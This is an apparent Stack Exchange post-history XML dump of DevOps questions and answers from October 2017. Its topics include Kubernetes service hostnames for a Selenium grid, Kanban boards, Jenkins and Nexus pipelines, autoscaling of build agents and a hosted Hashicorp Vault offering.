  <row Id="7639" PostHistoryTypeId="3" PostId="2445" RevisionGUID="76b1adca-913e-417b-b8ce-c5bd1c17abcf" CreationDate="2017-10-28T17:20:46.100" UserId="4939" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7640" PostHistoryTypeId="5" PostId="2445" RevisionGUID="9a565986-3351-4a06-83b5-040b65b5f740" CreationDate="2017-10-28T17:26:16.110" UserId="4939" Comment="added 157 characters in body" Text="I am trying to convert some K8s examples from ReplicationControllers to Deployments. These examples are for a Selenium grid located: [https://github.com/kubernetes/examples/tree/master/staging/selenium][1]&#xD;&#xA;&#xD;&#xA;When I run the examples as-is, my selenium-hub and selenium-nodes connect successfully. However, when I tried to convert `selenium-hub-rc.yaml` and `selenium-node-chrome-rc.yaml` into Deployments, the selenium-nodes will not connect to the selenium-hub.&#xD;&#xA;&#xD;&#xA;In `selenium-node-chrome-rc.yaml` there are [these variables][2]:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    env:&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR &#xD;&#xA;    value: &quot;selenium-hub&quot;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_PORT &#xD;&#xA;    value: &quot;4444&quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;`HUB_PORT_4444_TCP_ADDR` is the ip/hostname of the selenium-hub. The `selenium-hub-rc.yaml` shows the phrase `selenium-hub` in [many locations][3]. **Question 1**: which of these is actually defining the host name? (`.metadata.name`, `.spec.selector.app`, ...?)&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub &lt;-------------------&#xD;&#xA;      labels:&#xD;&#xA;        app: selenium-hub &lt;-------------------&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        app: selenium-hub &lt;-------------------&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: selenium-hub &lt;-------------------&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;    - name: selenium-hub &lt;-------------------&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;Now, I changed this `selenium-hub-rc.yaml` to a deployment:&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub-deployment &lt;---------- this is the hostname?&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: selenium-grid&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: selenium-hub &lt;--------- this is the hostname?&#xD;&#xA;            image: selenium/hub&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 4444&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But now the selenium-node won't connect and I believe it is due to `HUB_PORT_4444_TCP_ADDR`. I have tried:&#xD;&#xA;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR&#xD;&#xA;      value: &quot;selenium-hub&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR&#xD;&#xA;      value: &quot;selenium-hub-deployment&quot;&#xD;&#xA;&#xD;&#xA;Neither worked. **Question 2**: What is the hostname for a deployment? It seemed straight forward in the ReplicationController yaml e.g. `selenium-hub`, but I can't get it to work as a deployment.&#xD;&#xA;&#xD;&#xA;Note, I have not changed [the service][4] in any way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/examples/tree/master/staging/selenium&#xD;&#xA;  [2]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-node-chrome-rc.yaml#L21&#xD;&#xA;  [3]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-hub-rc.yaml#L4&#xD;&#xA;  [4]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-hub-svc.yaml" ContentLicense="CC BY-SA 3.0" />
  <row Id="7641" PostHistoryTypeId="2" PostId="2446" RevisionGUID="982ef131-0a4f-4de4-93ab-643f8e0d49eb" CreationDate="2017-10-28T18:46:40.167" UserId="4939" Text="My idea of where the hostname was coming from was wrong. According to the [docs][1]:&#xD;&#xA;&#xD;&#xA;&gt; Every Service defined in the cluster (including the DNS server itself) is assigned a DNS name.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; Currently when a pod is created, its hostname is the Pod’s metadata.name value.&#xD;&#xA;&#xD;&#xA;So the hostname is actually the name of the service. The last sentence in my question says I did not change the service in anyway. That was an unintentional lie. I did change the service name, or else `selenium-hub` as the hostname would have worked.&#xD;&#xA;&#xD;&#xA;Changing `HUB_PORT_4444_TCP_ADDR` to the `.metadata.name` of the *service* got me closer. The connection was timing out, though.&#xD;&#xA;&#xD;&#xA;I believed some of the configuration was wrong in my service yaml. So instead of using my yaml file, I created the service via:&#xD;&#xA;`kubectl expose deployment &lt;deployment name here&gt;`&#xD;&#xA;&#xD;&#xA;This created a service and I checked the selenium-hub and the node was finally connected. So there was an issue in my service yaml. To get the correct configuration I exported the currently working service:&#xD;&#xA;`kubectl get svc &lt;service name here&gt; -o yaml --export`&#xD;&#xA;&#xD;&#xA;I copied the exported configuration to my service yaml file and it also worked. Here was the difference between the service yamls&#xD;&#xA;&#xD;&#xA;    old yaml (copied from GitHub example above)&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub-service&#xD;&#xA;      labels:&#xD;&#xA;        app: selenium-grid&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - port: 4444&#xD;&#xA;        targetPort: 4444&#xD;&#xA;        protocol: TCP ------------- [added in new config]&#xD;&#xA;        name: port0 ------------- [deleted in working config]&#xD;&#xA;      selector:&#xD;&#xA;        app: selenium-hub&#xD;&#xA;      type: NodePort ------------- [deleted in working config]&#xD;&#xA;      sessionAffinity: None&#xD;&#xA;&#xD;&#xA;I am not sure why adding `.spec.ports[0].protocol` and deleting `.spec.type` and `.spec.ports[0].name` fixed the issue. If anyone could clarify in the comments I would appreciate it.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7642" PostHistoryTypeId="5" PostId="2445" RevisionGUID="59e4c53f-13d3-4a26-bd0e-d77fc5d9e085" CreationDate="2017-10-28T18:51:19.417" UserId="4939" Comment="added 76 characters in body" Text="I am trying to convert some K8s examples from ReplicationControllers to Deployments. These examples are for a Selenium grid located: [https://github.com/kubernetes/examples/tree/master/staging/selenium][1]&#xD;&#xA;&#xD;&#xA;When I run the examples as-is, my selenium-hub and selenium-nodes connect successfully. However, when I tried to convert `selenium-hub-rc.yaml` and `selenium-node-chrome-rc.yaml` into Deployments, the selenium-nodes will not connect to the selenium-hub.&#xD;&#xA;&#xD;&#xA;In `selenium-node-chrome-rc.yaml` there are [these variables][2]:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    env:&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR &#xD;&#xA;    value: &quot;selenium-hub&quot;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_PORT &#xD;&#xA;    value: &quot;4444&quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;`HUB_PORT_4444_TCP_ADDR` is the ip/hostname of the selenium-hub. The `selenium-hub-rc.yaml` shows the phrase `selenium-hub` in [many locations][3]. **Question 1**: which of these is actually defining the host name? (`.metadata.name`, `.spec.selector.app`, ...?)&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub &lt;-------------------&#xD;&#xA;      labels:&#xD;&#xA;        app: selenium-hub &lt;-------------------&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        app: selenium-hub &lt;-------------------&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: selenium-hub &lt;-------------------&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;    - name: selenium-hub &lt;-------------------&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;Now, I changed this `selenium-hub-rc.yaml` to a deployment:&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub-deployment &lt;---------- this is the hostname?&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: selenium-grid&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: selenium-hub &lt;--------- this is the hostname?&#xD;&#xA;            image: selenium/hub&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 4444&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But now the selenium-node won't connect and I believe it is due to `HUB_PORT_4444_TCP_ADDR`. I have tried:&#xD;&#xA;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR&#xD;&#xA;      value: &quot;selenium-hub&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR&#xD;&#xA;      value: &quot;selenium-hub-deployment&quot;&#xD;&#xA;&#xD;&#xA;Neither worked. **Question 2**: What is the hostname for a deployment? It seemed straight forward in the ReplicationController yaml e.g. `selenium-hub`, but I can't get it to work as a deployment.&#xD;&#xA;&#xD;&#xA;&lt;s&gt;Note, I have not changed [the service][4] in any way.&lt;/s&gt; Actually I DID change it and that partially caused my initial issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/examples/tree/master/staging/selenium&#xD;&#xA;  [2]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-node-chrome-rc.yaml#L21&#xD;&#xA;  [3]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-hub-rc.yaml#L4&#xD;&#xA;  [4]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-hub-svc.yaml" ContentLicense="CC BY-SA 3.0" />
  <row Id="7643" PostHistoryTypeId="5" PostId="2446" RevisionGUID="7339d258-9d42-46ca-96f2-188bcd7f9e41" CreationDate="2017-10-28T18:52:00.770" UserId="4939" Comment="deleted 8 characters in body" Text="My idea of where the hostname was coming from was wrong. According to the [docs][1]:&#xD;&#xA;&#xD;&#xA;&gt; Every Service defined in the cluster (including the DNS server itself) is assigned a DNS name.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; Currently when a pod is created, its hostname is the Pod’s metadata.name value.&#xD;&#xA;&#xD;&#xA;So the hostname is actually the name of the service. The last sentence in my question says I did not change the service in anyway. That was an unintentional lie. I did change the service name, or else `selenium-hub` as the hostname would have worked.&#xD;&#xA;&#xD;&#xA;Changing `HUB_PORT_4444_TCP_ADDR` to the `.metadata.name` of the *service* got me closer. The connection was timing out, though.&#xD;&#xA;&#xD;&#xA;I believed some of the configuration was wrong in my service yaml. So instead of using my yaml file, I created the service via:&#xD;&#xA;`kubectl expose deployment &lt;deployment name here&gt;`&#xD;&#xA;&#xD;&#xA;This created a service and I checked the selenium-hub and the node was finally connected. So there was an issue in my service yaml. To get the correct configuration I exported the currently working service:&#xD;&#xA;`kubectl get svc &lt;service name here&gt; -o yaml --export`&#xD;&#xA;&#xD;&#xA;I copied the exported configuration to my service yaml file and it also worked. Here was the difference between the service yamls&#xD;&#xA;&#xD;&#xA;    old yaml (copied from GitHub example above)&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub-service&#xD;&#xA;      labels:&#xD;&#xA;        app: selenium-grid&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - port: 4444&#xD;&#xA;        targetPort: 4444&#xD;&#xA;        protocol: TCP ------------- [added in new config]&#xD;&#xA;        name: port0 ------------- [deleted in new config]&#xD;&#xA;      selector:&#xD;&#xA;        app: selenium-hub&#xD;&#xA;      type: NodePort ------------- [deleted in new config]&#xD;&#xA;      sessionAffinity: None&#xD;&#xA;&#xD;&#xA;I am not sure why adding `.spec.ports[0].protocol` and deleting `.spec.type` and `.spec.ports[0].name` fixed the issue. If anyone could clarify in the comments I would appreciate it.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7644" PostHistoryTypeId="2" PostId="2447" RevisionGUID="add60678-6c2a-4628-b9d5-f95cccc29f8c" CreationDate="2017-10-28T20:26:03.780" UserId="4943" Text="We are a product development shop - and in fact we build a Kanban tool ([SwiftKanban][1]), in addition to others.  We have a lot of experience with Kanban and DevOps and separate boards for epic/ story detailing vs. dev/ ps tracking. Our DevOps setup is still being fully automated and being gradually fleshed out. We've been on this journey since 2010-11 - and we have achieved significant business benefits exactly of the kind you are looking for.&#xD;&#xA;&#xD;&#xA;We started with a single Kanban board, but with 2 separate swim lanes for the product manager and the dev team - see below - &#xD;&#xA;&#xD;&#xA;Planning Lane for the Product Owner&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Dev Lane for the main dev activity&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Since we had a single team doing development as well as maintenance/ customer related work, as also refactoring work, we also had a few other lanes to help them visualize their overall workload - &#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Over the last 6 years, we have evolved, as have our dev/ engineering practices.  While we never used Scrum - and don't have sprints, we do production releases every 4-6 weeks, we deploy to an internal staging server (which we use as our internal production server, where we use our product for dev as well as other functions such as marketing, sales, support, implementation services, etc.) every week or less, and we have a single workflow between Dev and Ops as you will see below.&#xD;&#xA;&#xD;&#xA;From that separate planning lane, we have evolved to a full upstream Kanban board - which is our roadmap planning board, where we track Themes, Epics and Stories - and lay out stories in up to 4 releases out. We did this as we gradually figured out just how much work needs to get done to identify and detail the work to be done as well as to get stakeholder alignment so everyone agrees that we are working on the right stuff.&#xD;&#xA;&#xD;&#xA;Roadmap Planning Board&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;Stories from this board get pulled to the Dev board.  Internal and customer reported defects are directly added to this board's Ready queue.  &#xD;&#xA;&#xD;&#xA;Dev Board&#xD;&#xA;[![enter image description here][6]][6]&#xD;&#xA;&#xD;&#xA;As you can tell, the Product Owner (Product Manager) is responsible for the Roadmap board, while the Sr. Dev Manager is responsible for the Dev Board.  While Dev team members deply to Staging server, the Ops team ensures they have the right CI/ CD environment to do that.  After Dev/ Validation, it is the Ops Team's job to  deploy to production once sufficient valuable work has been completed (typically 4-6 weeks).&#xD;&#xA;&#xD;&#xA;Both boards are accessible to all senior stakeholders as well as CEO, Sales and Marketing so everyone can track what is going on and what is prioritized for upcoming releases.&#xD;&#xA;&#xD;&#xA;At the same time, we ensure we follow some of the recommended Kanban cadences, including the Daily Standup Meeting, the Weekly Replenishment Meeting (where fine-tuning of the story/ defect prioritization takes place) as well as Release Retrospective and a Quarterly Strategy Review Meeting.&#xD;&#xA;&#xD;&#xA;The Kanban boards and cadences ensure that everyone is aware and aligned; and if there are conflicts, they are resolved during one of these meetings (other than the Daily Standup).&#xD;&#xA;&#xD;&#xA;Besides key Kanban practices - including a reasonably strict adherence to WIP Limits - we have also, of course, invested heavily in engineering practices to enable a true continuous delivery/ deployment environment - and that journey still continues.  We are a Test Driven Dev shop and developers are responsible for JUnits, Functional Automation, and Peer Review.  Our code repository is Subversion and integration/ deployment is orchestrated using Jenkins. Subversion is integrated with our Kanban tool so all work at each stage is also updated on the card as well (via comments on the card). &#xD;&#xA;&#xD;&#xA;Overall, to answer some of your questions more specifically, &#xD;&#xA;&#xD;&#xA;1. Yes, it makes a lot of sense to provide a separate board to the product owner and another to the dev/ ops teams and link cards across them as needed.  &#xD;&#xA;2. And it makes sense to organize the board by tasks/ workflow stages rather than people as that gives you greater flexibility with using cross-functional folks in different stages of the workflow.  &#xD;&#xA;3. Most importantly, it lets you easily visualize and measure which workflow stages might be bottlenecks (rather than which people - which would typically be inaccurate) and what tweaks you might need to make to improve your flow and throughput and reduce lead time.&#xD;&#xA;&#xD;&#xA;All the best with your transition to Kanban! If you need any more help with respect to Kanban, I strongly recommend reading David Anderson's [book][7] on the Kanban Method as well as refer to our comprehensive [Kanban guide][8].&#xD;&#xA;&#xD;&#xA;Hope this helps. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.digite.com/swiftkanban&#xD;&#xA;  [2]: https://i.stack.imgur.com/PKAu0.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/kiWAb.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/lpti8.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/M5mni.png&#xD;&#xA;  [6]: https://i.stack.imgur.com/HADy8.png&#xD;&#xA;  [7]: https://www.amazon.com/Kanban-Successful-Evolutionary-Technology-Business/dp/0984521402/ref=sr_1_1?ie=UTF8&amp;qid=1509222245&amp;sr=8-1&amp;keywords=david%20anderson&#xD;&#xA;  [8]: https://www.digite.com/kanban/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7645" PostHistoryTypeId="5" PostId="2434" RevisionGUID="4147eed9-0e43-42c1-9c3e-680f44716821" CreationDate="2017-10-28T21:27:06.417" UserId="3888" Comment="add more info" Text="I have pull the image https://hub.docker.com/r/docker/compose/&#xD;&#xA;```docker pull docker/compose```&#xD;&#xA;&#xD;&#xA;But how can I run it to build my images on Raspberry Pi/rpi3?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7646" PostHistoryTypeId="4" PostId="2434" RevisionGUID="4147eed9-0e43-42c1-9c3e-680f44716821" CreationDate="2017-10-28T21:27:06.417" UserId="3888" Comment="add more info" Text="How to run &quot;docker/compose&quot; container on RPi3?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7647" PostHistoryTypeId="2" PostId="2448" RevisionGUID="75179b7e-51e3-4600-90bd-dfe5751a7e31" CreationDate="2017-10-29T08:29:54.487" UserId="4944" Text="I am new to devops. I am PHP and angular developer, &#xD;&#xA;&#xD;&#xA;what i wan a try is upload any set of artifacts from any type of project ( Java, node, PHP, .net, go ).&#xD;&#xA;&#xD;&#xA;I know that once a developer pushes a code to git, Jenkins should take it and run the test case on it. &#xD;&#xA;&#xD;&#xA;if it a success then pushes it to production ?( am I right ? but how not sure about flow ? )&#xD;&#xA;&#xD;&#xA;what I am not sure is how nexus and maven ( is it needed ? why ) will come into a picture of devops flow?&#xD;&#xA;&#xD;&#xA;I know nexus it's repository manager ( which store artifacts [ final executable file after code compilation ( which we can see in Java, go but not in PHP or node ) ] ) please, correct me if I wrong.&#xD;&#xA;&#xD;&#xA;do I need maven? " ContentLicense="CC BY-SA 3.0" />
  <row Id="7648" PostHistoryTypeId="1" PostId="2448" RevisionGUID="75179b7e-51e3-4600-90bd-dfe5751a7e31" CreationDate="2017-10-29T08:29:54.487" UserId="4944" Text="Devops Jenkins nexus integration ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7649" PostHistoryTypeId="3" PostId="2448" RevisionGUID="75179b7e-51e3-4600-90bd-dfe5751a7e31" CreationDate="2017-10-29T08:29:54.487" UserId="4944" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;nexus&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7653" PostHistoryTypeId="5" PostId="2448" RevisionGUID="67178786-fc29-45e4-a3c3-9a2b847aed14" CreationDate="2017-10-29T12:03:42.033" UserId="210" Comment="deleted 52 characters in body; edited title" Text="&#xD;&#xA;&#xD;&#xA;what i wan a try is upload any set of artifacts from any type of project ( Java, node, PHP, .net, go ).&#xD;&#xA;&#xD;&#xA;I know that once a developer pushes a code to git, Jenkins should take it and run the test case on it. &#xD;&#xA;&#xD;&#xA;if it a success then pushes it to production ?( am I right ? but how not sure about flow ? )&#xD;&#xA;&#xD;&#xA;what I am not sure is how nexus and maven ( is it needed ? why ) will come into a picture of devops flow?&#xD;&#xA;&#xD;&#xA;I know nexus it's repository manager ( which store artifacts [ final executable file after code compilation ( which we can see in Java, go but not in PHP or node ) ] ) please, correct me if I wrong.&#xD;&#xA;&#xD;&#xA;do I need maven? " ContentLicense="CC BY-SA 3.0" />
  <row Id="7654" PostHistoryTypeId="4" PostId="2448" RevisionGUID="67178786-fc29-45e4-a3c3-9a2b847aed14" CreationDate="2017-10-29T12:03:42.033" UserId="210" Comment="deleted 52 characters in body; edited title" Text="Devops Jenkins nexus integration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7655" PostHistoryTypeId="4" PostId="1984" RevisionGUID="2a8def03-4521-4df2-89e6-22f4beb01b18" CreationDate="2017-10-29T12:21:23.467" UserId="210" Comment="edited title" Text="How to ensure that git subtrees are kept up to date?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7656" PostHistoryTypeId="2" PostId="2450" RevisionGUID="a328e70b-5abf-42f7-ba70-501af70174ff" CreationDate="2017-10-29T12:34:32.717" UserId="210" Text="&gt; 1. What approaches are there to manage multiple package.json files that live in each feature directory&#xD;&#xA;&#xD;&#xA;One could leave the package.json in every feature directory and let the CI read the package.json when building the app. One could define the versions of dependencies in the package.json to get control about the app. If the app works with version A.B.C of a certain library then one could define this version to prevent that an update will break the app.&#xD;&#xA;&#xD;&#xA;&gt; 2. How do we identify common packages and lock them into a root /package.json file. (Independently, all developers already use yarn)&#xD;&#xA;&#xD;&#xA;Discuss this with the team and figure out what is the best solution for everybody. Multiple solutions are possible. Everybody should be happy with a certain approach.&#xD;&#xA;&#xD;&#xA;&gt; 3. How to accomplish this with as little friction as possible for all react based developers - so that they get to simply continue with&#xD;&#xA;&gt; whatever they are already doing and DevOps handles the gritty bits?&#xD;&#xA;&#xD;&#xA;DevOps in my opinion means that a certain team that consists of multiple specialties, e.g. test, dev, ops is responsible for a certain app. This means that the whole team should agree with a certain approach and everybody should work and handle issues according that process instead of `DevOps handles the gritty bits` which is about silos and &quot;throw it over the wall&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7657" PostHistoryTypeId="5" PostId="2386" RevisionGUID="2920a070-0543-49eb-bd3c-4751c98c9cfc" CreationDate="2017-10-29T12:43:42.247" UserId="210" Comment="added 6 characters in body" Text="At the moment I have an AutoScaling Group (ASG) of GoCD build agents without any scaling policies. I have created some custom metrics that indicate how many build agents are currently idle and I'd like to scale based off of that. My concern is that when scaling down, the ASG may terminate instances that are in the middle of a build. This may result in failed builds and delayed builds.&#xD;&#xA;&#xD;&#xA;How can I scale down an ASG without terminating instances that are in use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7658" PostHistoryTypeId="2" PostId="2451" RevisionGUID="75051fbf-d588-48da-b848-1477c8753c20" CreationDate="2017-10-29T12:45:01.207" UserId="210" Text="&gt; My concern is that when scaling down, the ASG may terminate instances&#xD;&#xA;&gt; that are in the middle of a build.&#xD;&#xA;&#xD;&#xA;It the builds are running then one should prevent down scaling. When the build has been completed then one could down scale as the resources will not be required anymore." ContentLicense="CC BY-SA 3.0" />
  <row Id="7659" PostHistoryTypeId="5" PostId="2442" RevisionGUID="f96a1051-33d6-4192-b034-9d8c4a69b627" CreationDate="2017-10-29T12:53:00.790" UserId="40" Comment="fix typos" Text="Is there any possibility to create one master account (for one master laptop for example), from which I can log in to all accounts available on the server ?&#xD;&#xA;&#xD;&#xA;My server has Keys Authentication enabled and PasswordAuthentication disabled.&#xD;&#xA;&#xD;&#xA;Now, after reboot I can login to server from my (master laptop) as root, but I can not login as a regular user, I get „access denied&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="7660" PostHistoryTypeId="5" PostId="2448" RevisionGUID="47a665e8-558b-4a1e-b5db-69f93911d4f0" CreationDate="2017-10-29T13:00:42.890" UserId="40" Comment="fix typos and grammar" Text="I want to try to upload any set of artifacts from any type of project ( Java, node, PHP, .net, go ).&#xD;&#xA;&#xD;&#xA;I know that once a developer pushes a code to git, Jenkins should take it and run the test case on it. &#xD;&#xA;&#xD;&#xA;If it is success then push it to production? Am I right? I'm not sure about the flow.&#xD;&#xA;&#xD;&#xA;I wonder how Nexus and Maven ( is it needed, if so why? ) will come into a picture of DevOps flow?&#xD;&#xA;&#xD;&#xA;I know Nexus it's repository manager ( which store artifacts [ final executable file after code compilation ( which we can see in Java, go but not in PHP or node ) ] ) please, correct me if I wrong.&#xD;&#xA;&#xD;&#xA;Do I need Maven?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7661" PostHistoryTypeId="5" PostId="1931" RevisionGUID="b414992a-2bb9-41ff-a464-13e782d4d2fc" CreationDate="2017-10-29T13:12:18.630" UserId="210" Comment="deleted 20 characters in body" Text="I'm trying to manage multiple floating licenses (e.g. Oracle Database) from a master configuration server using a pull model. Normally I use Puppet to handle configuration stuff like this, but I'm having trouble finding any info on managing floating licenses with Puppet.&#xD;&#xA;&#xD;&#xA;Any suggestions on how I do this?&#xD;&#xA;&#xD;&#xA;For example, I have 5 unique Oracle Licenses kept in separate files and I need some way for systems to be able to check in or check out those licenses. Each license can't be used by more than one system at a time. Also I need to send an e-mail if a system tries to check out a license but there are none left.&#xD;&#xA;&#xD;&#xA;Normally I'd be trying to just figure out how to do this with Puppet, but I'm realizing this is going beyond my familiarity with Ops in general" ContentLicense="CC BY-SA 3.0" />
  <row Id="7665" PostHistoryTypeId="2" PostId="2453" RevisionGUID="edfd85a4-c2ce-498b-ab84-8e10ce2db20e" CreationDate="2017-10-29T13:40:47.237" UserId="210" Text="The number of downvotes on the link that is mentioned in the question could indicate that there are issues with the instructions.&#xD;&#xA;&#xD;&#xA;Perhaps one could use native commands to backup the database. For example, [this answer][1] shows how to backup a postgres database that runs in docker using the pg_dump command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/39210274/how-do-i-backup-a-database-in-docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="7666" PostHistoryTypeId="2" PostId="2454" RevisionGUID="35b15b95-942e-4fdf-ac78-e3c42fff74be" CreationDate="2017-10-29T13:45:22.873" UserId="210" Text="&gt; What I ultimately want is to have these old, archived reviews be&#xD;&#xA;&gt; searchable and for all the links to work more or less as expected for&#xD;&#xA;&gt; the sake of convenience.&#xD;&#xA;&#xD;&#xA;As already indicated in one of the comments, [wget][1] could be used to retrieve the content:&#xD;&#xA;&#xD;&#xA;    wget -r --no-parent devops.com&#xD;&#xA;&#xD;&#xA;will create a devops.com folder and put all files in this directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/19695143/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="7667" PostHistoryTypeId="2" PostId="2455" RevisionGUID="cd3b0a43-c28b-465b-ad3a-c9966692565a" CreationDate="2017-10-29T14:02:31.730" UserId="210" Text="There is a number of recommendations to harden a Hashicorp Vault deployment, but is there a SaaS solution, like CloudBees offers Jenkins to prevent that the hardening should be done manually?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7668" PostHistoryTypeId="1" PostId="2455" RevisionGUID="cd3b0a43-c28b-465b-ad3a-c9966692565a" CreationDate="2017-10-29T14:02:31.730" UserId="210" Text="Is there an organization that offers a Hashicorp Vault SaaS solution?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7669" PostHistoryTypeId="3" PostId="2455" RevisionGUID="cd3b0a43-c28b-465b-ad3a-c9966692565a" CreationDate="2017-10-29T14:02:31.730" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7670" PostHistoryTypeId="5" PostId="2455" RevisionGUID="e880cb70-1f71-4d4a-9d86-5b14cefb3979" CreationDate="2017-10-29T14:08:48.930" UserId="210" Comment="added 68 characters in body" Text="There is [a number of recommendations][1] to harden a Hashicorp Vault deployment, but is there a SaaS solution, like CloudBees offers Jenkins to prevent that the hardening should be done manually?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/guides/production.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7671" PostHistoryTypeId="2" PostId="2456" RevisionGUID="c9c6d1cb-e5ca-45e2-8401-ea880925a0af" CreationDate="2017-10-29T16:10:30.040" UserId="559" Text="No, you don't need maven.&#xD;&#xA;&#xD;&#xA;Maven is a build automation tool as ant and gradle are, generally, but not limited to, jvm based projects.&#xD;&#xA;&#xD;&#xA;Nexus is an artifact repository, but some others exists.&#xD;&#xA;Artifact repositories software have different set of features (license, different storage options, different repositories type support like gems or npm ..., search support, web interface ...).&#xD;&#xA;&#xD;&#xA;&gt; I know that once a developer pushes a code to git, Jenkins should take it and run the test case on it.&#xD;&#xA;&#xD;&#xA;&gt; If it is success then push it to production? Am I right? I'm not sure about the flow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Generally, in order to achieve continuous deployment, which is what you are asking for precisely here, you would:&#xD;&#xA;&#xD;&#xA; 1. setup a hook when you commit&#xD;&#xA; 2. have a continuous integration tool that receive the hook&#xD;&#xA; 3. the CI does whatever 